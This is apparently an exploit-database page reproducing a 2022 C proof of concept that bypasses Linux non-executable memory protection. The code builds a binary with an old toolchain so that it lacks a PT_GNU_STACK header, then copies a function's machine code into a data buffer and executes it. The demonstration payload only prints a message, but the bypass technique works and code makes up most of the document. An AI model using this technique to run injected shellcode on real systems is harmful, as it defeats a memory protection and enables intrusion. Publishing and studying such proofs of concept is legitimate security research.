4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / demo.c C
/**
 * @file demo.c
 * @author x0reaxeax
 * @brief executable-space protection bypass POC
 * @date 2022-02-16
 * 
 * @copyright Copyright (c) x0reaxeax 2022
 * 
 * This POC demonstrates execution of bytes
 * located in supposedly non-executable region of binary,
 * therefore completely bypassing executable-space protection.
 * 
 * The root cause of this can be found here:
 * https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/elf.h#L280
 * 
 * As it turns out, binary files built on either 
 * systems lacking NX or IA32 systems with NX,
 * which do NOT contain the `PT_GNU_STACK` header
 * will be marked with `exec-all`.
 * 
 * This allows complete for RWX to/from everywhere in the binary.
 * 
 * To achieve this, we use "historical" building tools.
 * In this case, gcc 3.2.2 running on x86 Slackware9 with Linux 2.4.20
 * We will end up with a binary file which we can run on modern Linux
 * systems, in this case Linux 5.16.1
 * 
 * Building:
 *
 * `gcc -nostdlib -o demo32 demo.c`
 *
 * The following code will copy assembled bytes of function `dummy()`
 * to character array `harmless_str_buf` and execute the destination array as function.
 * 
 *
 * *** DISCLAIMER ***
 * This demonstration serves completely for educational purposes.
 * Under no circumstances can the author of this code be held responsible
 * for any direct or indirect damage caused by misusing provided code and/or information. 
 
 * MIT License
 *
 * Copyright (c) 2022 x0reaxeax
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
*/

#define NULL    ((void *) 0)
#define POC

#define BUFSIZE 128

char str[] = "noexec bypassed!\n";

/**
 * This buffer will be loaded with dummy()'s opcodes
*/
char harmless_str_buf[BUFSIZE] = "xrandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomx";

/**
 * dummy function - target shellcode
 * opcodes of this function will be copied to harmless_str_buf.
 * included for ease of POC demonstration
*/ 
void dummy(void) {
    __asm__ volatile (
                      ".intel_syntax noprefix;"
                      "mov eax, 4;"     /* sys_write */
                      "mov ebx, 1;"     /* stdout    */
                      "mov ecx, %[str];"
                      "mov edx, 17;"    /* strlen    */
                      "int 0x80;"       /* syscall   */
                      "int3;"           /* boundary  */
                      ".att_syntax;"
                      :: [str] "r" (str)
                      : "eax", "ebx", "ecx", "edx"
    );
}

/**
 * copies opcodes from `dummy()` to destination buf
*/ 
void (*copy_opcodes(unsigned char *output, unsigned int bufsiz)) (void) {
    unsigned int i = 0;
    unsigned char *dummy_ptr = (unsigned char *) dummy;
    for (i = 0; i < bufsiz; i++) {
        unsigned char opcode = *(dummy_ptr + i);
        output[i] = opcode;

        if (opcode == 0xcc) {
            /* boundary hit */
            break;
        }
    }

    return (void (*)()) output;
}

int _start(void) {
#ifdef POC  /* execute opcodes in harmless_str_buf */
    void (*pfunc)() = NULL;

    pfunc = copy_opcodes(harmless_str_buf, BUFSIZE);
    pfunc();
#else       /* execute dummy() to demonstrate it's purpose */
    dummy();
#endif

    return 0;   /* segfault */
}